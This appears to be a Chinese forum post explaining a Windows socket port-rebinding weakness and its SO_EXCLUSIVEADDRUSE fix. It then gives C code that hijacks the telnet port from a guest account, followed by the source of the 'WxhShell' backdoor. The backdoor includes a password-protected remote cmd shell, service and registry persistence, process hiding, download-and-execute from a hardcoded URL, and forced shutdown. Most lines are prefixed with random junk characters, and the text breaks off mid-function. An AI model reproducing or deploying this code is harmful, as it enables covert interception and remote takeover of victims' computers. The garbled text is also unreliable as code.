在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
rlKR
<4H s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
=8 @DYz' O`y3H lc saddr.sin_family = AF_INET;
s*Qyd{"z ,VVA^'+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
iG54 +] 6{.U7=" bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
}lp37, o+.L@3RT4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
I;'{X_9$a ;EJ!I+ 这意味着什么?意味着可以进行如下的攻击:
_ VuWo ;B 8Q,.t>x 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
GrG'G(NQ 8B*(P> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
4x)vy-y 5{b;wLi$X2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
>Gpq{Ph[ x,mt}> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
,1~zYL?
QtnNc!,n 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Qq:}Z7
H Zm0VaOT $I 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
m'}`+#C%) 60%nQhb 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
OS#aYER~/ "B:FSWM_- #include
Sa<(F[p` #include
TQck$& #include
%@C8EFl%3 #include
!+3&%vQ) DWORD WINAPI ClientThread(LPVOID lpParam);
|c0^7vrC int main()
gamB]FPZ {
2Jt{oh | WORD wVersionRequested;
:dW\Q&iW DWORD ret;
V$hL\`e WSADATA wsaData;
c#{|sR5 BOOL val;
;wMu SOCKADDR_IN saddr;
$[A^8[// SOCKADDR_IN scaddr;
Kuh3.1#o int err;
CjPdN#*l SOCKET s;
W<)nC_$ SOCKET sc;
3}\ z&| int caddsize;
IoOOS5a HANDLE mt;
1"CWEL`i DWORD tid;
8lx}0U wVersionRequested = MAKEWORD( 2, 2 );
n`Z}tQ%)o err = WSAStartup( wVersionRequested, &wsaData );
1,=:an if ( err != 0 ) {
?S&
yF printf("error!WSAStartup failed!\n");
Crc6wmp return -1;
1P"7.{ }
r1
:TM|5L saddr.sin_family = AF_INET;
424iFc[ yL
asoh //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Y}BP]#1 C<teZz8/w saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
_5S0A0 saddr.sin_port = htons(23);
=b*GV6b if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
kO}%Y?9d {
ZgEV-.>P printf("error!socket failed!\n");
pBe1: return -1;
fUf1G{4 }
95IP_1}? val = TRUE;
5)Z=FUupA~ //SO_REUSEADDR选项就是可以实现端口重绑定的
HYO/]\al if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
GpTZp#~; {
%Y0lMNP printf("error!setsockopt failed!\n");
%0y-f return -1;
j)8$hK/e0. }
i
Ehc< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
mg:kVS //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
OMk3\FV2Z //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
zf)*W#+ >k\p%{P if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
T\Xf0|y {
e%pohHI ret=GetLastError();
3c#^@Bj(-e printf("error!bind failed!\n");
<LH6my return -1;
r{?qvl!q }
6I(Y<LZ5 listen(s,2);
xKBi".wA while(1)
^7>~y( {
bx2<WdLyT caddsize = sizeof(scaddr);
g]h@U&`~u_ //接受连接请求
OU` !c[O sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
GKEOjaE if(sc!=INVALID_SOCKET)
?4 wl {
T]Q4=xsv mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
XBX`L"0 if(mt==NULL)
QsKnaRT {
.!^OmT,u printf("Thread Creat Failed!\n");
o_=4Ex
" break;
>q?{'#i
/ }
sa<\nH$_X }
,)U%6=o#} CloseHandle(mt);
88:YU4:l`N }
#s(ob `0| closesocket(s);
@$kzes\ WSACleanup();
eu)""l return 0;
#]^C(qmb: }
pRlScD_}; DWORD WINAPI ClientThread(LPVOID lpParam)
J*K=tA {
6qmV/DL SOCKET ss = (SOCKET)lpParam;
^PE|BCs SOCKET sc;
J"h2"$v, unsigned char buf[4096];
Ki:t!vAO SOCKADDR_IN saddr;
6yUThv.G# long num;
+8"8s DWORD val;
}+S~Ah?( DWORD ret;
Ui"$A/ //如果是隐藏端口应用的话,可以在此处加一些判断
:{S@KsPqE //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
6b2h\+AP saddr.sin_family = AF_INET;
dg*xo9Xi` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
=d@)*W 6 saddr.sin_port = htons(23);
LZG(T$dI if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n(LO`{ {
'S74Ys=-0 printf("error!socket failed!\n");
H_S"4ISS_ return -1;
;H8`^; }
4_2oDcdf val = 100;
=B+dhZ+#S$ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(p'/a.bn {
`'r~3kP*NT ret = GetLastError();
#~m^RoE return -1;
-f:PgBj }
q~iEw#0-L if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
W:j9 KhvT {
|'o<w
]hc ret = GetLastError();
Z/GSR$@lI return -1;
O1X) }
zA|lbJz=GY if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
6
3PV R" {
1)~9Eku6K printf("error!socket connect failed!\n");
<jFov`^ closesocket(sc);
&.yX41R closesocket(ss);
afaQb return -1;
)eSQce7H }
D>U(&n while(1)
8eh3K8tL# {
%0vsm+XQ0E //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
p}I\H
^"8+ //如果是嗅探内容的话,可以再此处进行内容分析和记录
)FA:wsy~E //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
wr:-n num = recv(ss,buf,4096,0);
e8_EB/)_Z if(num>0)
@kT@IQkri send(sc,buf,num,0);
|_s,]: else if(num==0)
_~>WAm< break;
KL(sVj^e num = recv(sc,buf,4096,0);
\ ux{J if(num>0)
XfIsf9 send(ss,buf,num,0);
BGH'&t_5 else if(num==0)
4}0YLwgJ break;
PbxQ \. }
!w!k0z] closesocket(ss);
0Nk!.gY closesocket(sc);
#4nBov3d return 0 ;
?%Q=l;W. }
siV]NI':| <O-R
"ZNy*.G|[ ==========================================================
Z)3oiLmD d[H`Fe6h 下边附上一个代码,,WXhSHELL
R:^jQ'1 u
Vv%k5 ==========================================================
QQ=tiW hVZS6gU,x #include "stdafx.h"
, a2=OV d?/g5[ #include <stdio.h>
o=lZl_5/u; #include <string.h>
BoARM{m #include <windows.h>
;kG"m7-/ #include <winsock2.h>
ka`}lR #include <winsvc.h>
S]e;p\8$Z #include <urlmon.h>
Ak}`zIo 64'sJc. #pragma comment (lib, "Ws2_32.lib")
;D(6Gy9~ #pragma comment (lib, "urlmon.lib")
rof9Rxxe- v[DxWs8q #define MAX_USER 100 // 最大客户端连接数
G ,`]2'(@ #define BUF_SOCK 200 // sock buffer
anKflt3 #define KEY_BUFF 255 // 输入 buffer
@!!5el { nF,zWr[x #define REBOOT 0 // 重启
E;k$ICOXA #define SHUTDOWN 1 // 关机
LS-_GslE7\ KfC{/J\
#define DEF_PORT 5000 // 监听端口
}4,[oD NXS$w{^ #define REG_LEN 16 // 注册表键长度
+QSH*(, #define SVC_LEN 80 // NT服务名长度
p7.~k1h OSh'b$Z // 从dll定义API
fQw=z$ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
<)L[V typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
eQfXUpk3@I typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
6OtNWbB typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
dD
6jMl QZL,zI]LL // wxhshell配置信息
:o:/RR p[ struct WSCFG {
4jVd int ws_port; // 监听端口
16~5 ;u char ws_passstr[REG_LEN]; // 口令
$9G".T int ws_autoins; // 安装标记, 1=yes 0=no
}Os7[4RW char ws_regname[REG_LEN]; // 注册表键名
M pz9}[`3g char ws_svcname[REG_LEN]; // 服务名
!<h-2YF<M char ws_svcdisp[SVC_LEN]; // 服务显示名
{s2eOL5I|% char ws_svcdesc[SVC_LEN]; // 服务描述信息
Yic4|N?u char ws_passmsg[SVC_LEN]; // 密码输入提示信息
sr<\fW int ws_downexe; // 下载执行标记, 1=yes 0=no
T7?z0DKi char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
I5Rd~-="G char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|k: FNu]C M2qor.d };
ftV~!r Z3X9-_g // default Wxhshell configuration
OskQ[
e0 struct WSCFG wscfg={DEF_PORT,
Kj-zEl "xuhuanlingzhe",
7e)j|a-!< 1,
AFsYP/g] "Wxhshell",
_akpW "Wxhshell",
2Fbg"de3- "WxhShell Service",
_|COnm "Wrsky Windows CmdShell Service",
g(o^'f "Please Input Your Password: ",
uPb. uG 1,
v\=k[oOu
"
http://www.wrsky.com/wxhshell.exe",
<.lt?!.ZH "Wxhshell.exe"
_6aI>b#yL };
?:7$c IL%P\Zs // 消息定义模块
]];LA!n char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
7Ewq'Vu`y char *msg_ws_prompt="\n\r? for help\n\r#>";
zRm@ |IT char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
J(,{ -d-E char *msg_ws_ext="\n\rExit.";
tSTl#xy char *msg_ws_end="\n\rQuit.";
X09i+/ICK char *msg_ws_boot="\n\rReboot...";
gjB(Pwx char *msg_ws_poff="\n\rShutdown...";
'*K%\] char *msg_ws_down="\n\rSave to ";
{w v{"*Q9Q [3v&j_ char *msg_ws_err="\n\rErr!";
VexQ ] char *msg_ws_ok="\n\rOK!";
.6iJ:A6T X/D%
cQ6 char ExeFile[MAX_PATH];
3AcDW6x| int nUser = 0;
6 _#C vQ HANDLE handles[MAX_USER];
$N4i)>&T2 int OsIsNt;
\IOF 9)F |u[@g`Z SERVICE_STATUS serviceStatus;
$KsB'BZy SERVICE_STATUS_HANDLE hServiceStatusHandle;
*nHkK!d<N a.XMeB // 函数声明
Co:Rg@i(F int Install(void);
io7Zv*&T0 int Uninstall(void);
Ro#O{ int DownloadFile(char *sURL, SOCKET wsh);
wHs4~"EY9 int Boot(int flag);
oK2j PP void HideProc(void);
=^w:G =ymS int GetOsVer(void);
M{X; H'2 int Wxhshell(SOCKET wsl);
vZ|Wj] ;o void TalkWithClient(void *cs);
^B(:Hv}G(: int CmdShell(SOCKET sock);
t28 y=nv int StartFromService(void);
TcH7!fUj int StartWxhshell(LPSTR lpCmdLine);
88zK)k{ "X-"uIc VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
:?\Je+iA VOID WINAPI NTServiceHandler( DWORD fdwControl );
c,5yH Yi|Nd ; // 数据结构和表定义
*,Sa*-7( SERVICE_TABLE_ENTRY DispatchTable[] =
FivqyT7i {
(5)DQ1LaF {wscfg.ws_svcname, NTServiceMain},
%5<Xa {NULL, NULL}
Gp1?drF6 };
.QDeS|l kp,$ NfD // 自我安装
f}Uf*Bp int Install(void)
hJ~=eYK?J {
2Gn26L5 char svExeFile[MAX_PATH];
DxG8`}+ HKEY key;
dz)(~@tgz strcpy(svExeFile,ExeFile);
W9jxw4) et@<MU@` // 如果是win9x系统,修改注册表设为自启动
6FEIQ#`{ if(!OsIsNt) {
?rQIUP{D7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
17!<8vIV$C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
F7JF1HfCP RegCloseKey(key);
rC6{-42bb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
p ^ )iC&*0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
w*gG1BV RegCloseKey(key);
--F6n/> return 0;
jJe?pT]o }
e0`5PVJ }
q'`LwAU} }
vFi+ExBU else {
oN=>U"<\1 vm8ER,IW) // 如果是NT以上系统,安装为系统服务
6Vu) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
NoT%z$1n if (schSCManager!=0)
SF[}suL {
u Qz!of%x SC_HANDLE schService = CreateService
fmv,)UP (
]eo%eaA schSCManager,
WL}XD
Kx wscfg.ws_svcname,
lZ?YyRsa6& wscfg.ws_svcdisp,
6sNw#pqh SERVICE_ALL_ACCESS,
uMK8V_p*? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|}wT/3>\ SERVICE_AUTO_START,
X>U _v SERVICE_ERROR_NORMAL,
@$5=4HA svExeFile,
+RyV"&v NULL,
!PJp() NULL,
8T3Nz8Q7 NULL,
'oF ('uR NULL,
WUGFo$xA NULL
QQ./! );
> QG@P if (schService!=0)
;.3
{}.Y {
P5&8^YV`N CloseServiceHandle(schService);
!3 zN [@w, CloseServiceHandle(schSCManager);
-b=Aj8h strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
%g~zEa-g strcat(svExeFile,wscfg.ws_svcname);
H}gp`YW:4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
b8|<O:]Hp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
k;jXVa RegCloseKey(key);
<l<6W-I return 0;
^CP>|JWD^ }
W:O p\ }
nRs:^Q~o CloseServiceHandle(schSCManager);
o&>aYlXd }
T%w5%{dqJ }
!HKW_m^3J j eyGIY return 1;
r\FduyOXv }
=4gPoS ,6SzW+L7 // 自我卸载
{2U3 int Uninstall(void)
kzC4V {
>{>X.I~ HKEY key;
D&G^|: G )C0d*T0i if(!OsIsNt) {
I/go$@E" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^ LVKXr RegDeleteValue(key,wscfg.ws_regname);
v[O?7Np RegCloseKey(key);
rTim1<IXR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0U?(EJ RegDeleteValue(key,wscfg.ws_regname);
$f+cd8j?o RegCloseKey(key);
hP$5>G(3 return 0;
x|)pZa }
cJzkA^T9 }
*/4hFD { }
l YpoS else {
-#,4rN# >v)V2,P
- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
#szIYyk if (schSCManager!=0)
M9?f`9 {
S84S/y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
AOef1^S= if (schService!=0)
`x;m@\R {
v
,zD52 if(DeleteService(schService)!=0) {
/z :1nq CloseServiceHandle(schService);
LQV&;O4' CloseServiceHandle(schSCManager);
?RS4oJz,5g return 0;
0bOT&Z^ }
#"fn; CloseServiceHandle(schService);
[}dPn61 }
4K*st8+bl- CloseServiceHandle(schSCManager);
V>c !V9w }
+'_ peT.8 }
MeV*]* O+]'*~a return 1;
.@$A~/ YU }
wLNkXC m[Mw2 F // 从指定url下载文件
Pk=0pHH8q int DownloadFile(char *sURL, SOCKET wsh)
]}n|5 {
^
4*#QtO HRESULT hr;
RDEK=^J char seps[]= "/";
\"w+4} char *token;
\i\>$'f*z char *file;
4'Ya-xx char myURL[MAX_PATH];
/T+%q#4 char myFILE[MAX_PATH];
'*^9'= J"$U$.W= strcpy(myURL,sURL);
>=;hnLu token=strtok(myURL,seps);
.o]9
HbIk5 while(token!=NULL)
N6> rU {
VCwC$ts file=token;
2sp4Mm token=strtok(NULL,seps);
4p%^?L? }
AQ,"):ofvT VP<LY/'f GetCurrentDirectory(MAX_PATH,myFILE);
BqUwvB4 strcat(myFILE, "\\");
^m
AxV7k strcat(myFILE, file);
{ft |* send(wsh,myFILE,strlen(myFILE),0);
^f9@=I send(wsh,"...",3,0);
:#cJZ\YH hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
dI>cPqQ if(hr==S_OK)
q_9 8=fyE6 return 0;
pl$wy}W- else
1
1(GCu return 1;
&3 Ki W|"bV 6d3 }
Ya(3Z_f+VZ yr?X.Np // 系统电源模块
Yq4nmr4 int Boot(int flag)
T Qx<lw {
~z")';I| HANDLE hToken;
1Zi` \N4T TOKEN_PRIVILEGES tkp;
Y*{5'q+2 DLD9 if(OsIsNt) {
,_s.amL3O{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
u%Mo.<PI LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Q)lD2 tkp.PrivilegeCount = 1;
H328I}7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Br.UN~q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Qvel#*-4 if(flag==REBOOT) {
pred{HEye if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
<0? r#
} return 0;
#_UP}G$ }
8&3&^!I else {
R%q:]. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
xxr'g = return 0;
LC$M_Cpw }
f.bw A x }
\(;u[ else {
IKaW],sr# if(flag==REBOOT) {
Y3s8@0b3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
7G*rxn"d return 0;
gm=C0Sp? }
U<>@)0~7g! else {
2|]
<U[ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
W]_a_5 return 0;
hJ8%r_ }
{v|ib112; }
X.FoX uI&0/ return 1;
Sw$/Z)1K& }
Y6. Bi qR_Np5nHF // win9x进程隐藏模块
MgN;[4|[h void HideProc(void)
Xwjm T {
' o*\N% P}( c0/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
[*I7^h% if ( hKernel != NULL )
L/,gD.h^ {
FP7N^HVBG= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
[dUAb ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
b$_qG6)IJO FreeLibrary(hKernel);
-N5h` Ii7 }
}NRt:JC qm'@o -[ return;
y 4aT-^C' }
mG\9Qkom| %cDDu$9; // 获取操作系统版本
' V*}d int GetOsVer(void)
?I:_FT {
r'_#rl OSVERSIONINFO winfo;
vpOGyvI winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Z#[%JUYp' GetVersionEx(&winfo);
=|dm#w_L" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
*~cNUyd return 1;
lw?C:-m else
RBg2iG$8| return 0;
;`kOFg#`)c }
&B=z*m TiZ
MY:^ // 客户端句柄模块
2n2,MB int Wxhshell(SOCKET wsl)
O U9{Y9e {
odJE~\\hw SOCKET wsh;
-*Qg^1]i+ struct sockaddr_in client;
(^sb('" DWORD myID;
{{[@ X dS \n2Qb while(nUser<MAX_USER)
s|Vs#o.P) {
qoZAZ&|HI int nSize=sizeof(client);
-em3 #V wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
CDW|cr{ if(wsh==INVALID_SOCKET) return 1;
TaKHr$h kkj@!1q(wO handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
YnDaBpx if(handles[nUser]==0)
2t closesocket(wsh);
I\rjw$V# else
K:Z,4Y nUser++;
~7Nqwwx }
<5CQ#^cK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
9o6qN1A0g 9)j"|5H return 0;
m}: X\G(6Q }
-XkjO$=!= ]^{5` // 关闭 socket
#.Ly void CloseIt(SOCKET wsh)
L=s8em]7l {
$U. 2" closesocket(wsh);
W&Xi&[Ux nUser--;
!VrBoU4<d ExitThread(0);
eU-A_5 }
C)9-{Yp kjQI=:i= // 客户端请求句柄
7Bf4ojKt void TalkWithClient(void *cs)
cRf;7G {
ZC^?ng y4!fu<[i SOCKET wsh=(SOCKET)cs;
~wGjr7Wt char pwd[SVC_LEN];
#SD2b,f char cmd[KEY_BUFF];
wc~ 9zh char chr[1];
6jl{^dI int i,j;
nRX<$OzTV *t={9h while (nUser < MAX_USER) {
7bJM
$
~ r$I&8 if(wscfg.ws_passstr) {
6skd>v UU if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
SBw'z(U //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
jar?"o //ZeroMemory(pwd,KEY_BUFF);
"DJ%Yo i=0;
[FWB while(i<SVC_LEN) {
DFGgyFay ^1--7#H // 设置超时
]7h;MR fd_set FdRead;
^AUQsRA7PZ struct timeval TimeOut;
'_g*I FD_ZERO(&FdRead);
)9!ZkZbv_m FD_SET(wsh,&FdRead);
VC!g,LU|- TimeOut.tv_sec=8;
<)@^TRS TimeOut.tv_usec=0;
^^)\|kW? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
]d&;QZ#w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
]08~bL1Q N=:xyv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
B_.>Q8tK; pwd
=chr[0]; } x'o`GuUf
if(chr[0]==0xd || chr[0]==0xa) { -ktYS(8&
pwd=0; \<y#$:4r<8
break; a\I`:RO=<Z
} @jD19=
i++;
lx~mn~;x
} jH4Wu`r;m
I,lzyxRP
// 如果是非法用户,关闭 socket WF<*rl
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0j{KZy
} F=kiYa}
/p@0Q[E
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?T_hK
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6[>Z y)P
VH.}}RS%
while(1) { u+8?'ZT,
t]pJt
ZeroMemory(cmd,KEY_BUFF); C6b(\#g(
Xc]Q_70O
// 自动支持客户端 telnet标准 1)
G6
j=0; K+c>Cj}H
while(j<KEY_BUFF) { 'MIM_m)H
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gJBk&SDgtP
cmd[j]=chr[0]; v#+tu,)V;
if(chr[0]==0xa || chr[0]==0xd) { .'N#qs_
cmd[j]=0; rkWW)h(e
break; oI%.oP}G
} 3Kum
j++; .DHRPel
} &,`P%a&k
k$} 6Qd
// 下载文件 ::kpAE]
if(strstr(cmd,"http://")) { zX/9^+p:
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5($
'@u
if(DownloadFile(cmd,wsh)) LIHf]+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rW3fd.;kss
else P(Hh%9'(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @;z}Hk0A
} l,3[hx
else { c}FZb$q#
qT L@N9
switch(cmd[0]) { .{W)E
\(bML#I
// 帮助 Djf,#&j!3
case '?': { [VP~~*b
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DavG=kvd
break; VIxcyp0X
} z '%Vy
// 安装 FeFH_
case 'i': { C zvi':
if(Install()) +<H)DPG<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W;C41>^?/
else *l^%7Wrk
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <tg>1,C
break; _#+~#U%5n
} r 6STc,%5
// 卸载 AHhck?M^
case 'r': { ~dK)U*Q
if(Uninstall()) aNCIh@m~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uIvE~<
else gI^*O@Q4{b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u-7/4Y)c
break; #SRGVa`x
} Ui7S8c#tH
// 显示 wxhshell 所在路径 j{9sn,<:
case 'p': { LdAfY0
char svExeFile[MAX_PATH]; BS;_l"?
strcpy(svExeFile,"\n\r"); a ^b_&}y
strcat(svExeFile,ExeFile); l7P~_X_)"
send(wsh,svExeFile,strlen(svExeFile),0); igsJa1F
break; :WTO*M
} [x5T7=
// 重启 ?t+Kp9@aZ
case 'b': { B@l/'$G
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }cG!93
if(Boot(REBOOT)) ^60BQ{ne
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s7<x~v+^
else { @%K@oD L
closesocket(wsh); R;f!s/^)
ExitThread(0); Qe=!'u.nL
} 8|w_PP1oE
break; W@1Nit-R
} (<pc4#B@*
// 关机 0Q=4{*:?
case 'd': { -Vk+zEht
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tm(.a?p
if(Boot(SHUTDOWN)) 2hl'mRW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %9xz[Ng
else { a="Z]JGk
closesocket(wsh); QdL
;|3K9
ExitThread(0); %J?;@ G)r
} o64&BpCK
break; <Vr"
} VAF+\Cea=
// 获取shell DJ;G0*
case 's': { ]C-hl}iq
CmdShell(wsh); GM{m(Y
closesocket(wsh); nW3`Z1kq})
ExitThread(0); VC\43A,9
break; r"SuE:D
} !12W(4S5
// 退出 ;-47d ^
case 'x': { T&I*8 R~
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P7(+{d{
CloseIt(wsh); q3B#rje>h
break; EUU9JnQhBJ
} `AeId/A4n
// 离开 #vYdP#nWb
case 'q': { [L8Bgw1
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3HC aZ?Ry'
closesocket(wsh); qCn(~:
WSACleanup(); R}a,.C
exit(1); hVI
$r
break; Slcf=
} @!&\Z[",
} IM}T2\tZ}
} Q2iS0#
0ejx;Mum
// 提示信息 y iE[^2Pv
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #Na3eHT
} l2U"4d!o
} r}MXXn,f
|AW[4Yn>
return; F`3c uL[N
} .{LFc|Z[
0#KDvCBJ
// shell模块句柄 [S9T@Q
int CmdShell(SOCKET sock) 8E"Ik~
{ 7-.YVM~R
STARTUPINFO si; 7OYNH0EH
ZeroMemory(&si,sizeof(si)); k!b\qS~Q
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z!60n{T79c
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xy:'f".M~\
PROCESS_INFORMATION ProcessInfo; MQY^#N
char cmdline[]="cmd"; V03U"eI="
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2ixg
ix
return 0; rY_)N^B|nF
} T~7i:<E^
=0TnH<`
// 自身启动模式 a H'iW)
int StartFromService(void) kG/:fP
{ fGHYs
typedef struct mBSa*s)
{ #ok1qT9_
DWORD ExitStatus; }20
Q`?
DWORD PebBaseAddress; >
$DMVtE0
DWORD AffinityMask; S(eCG2gR
DWORD BasePriority; n]?Yv E
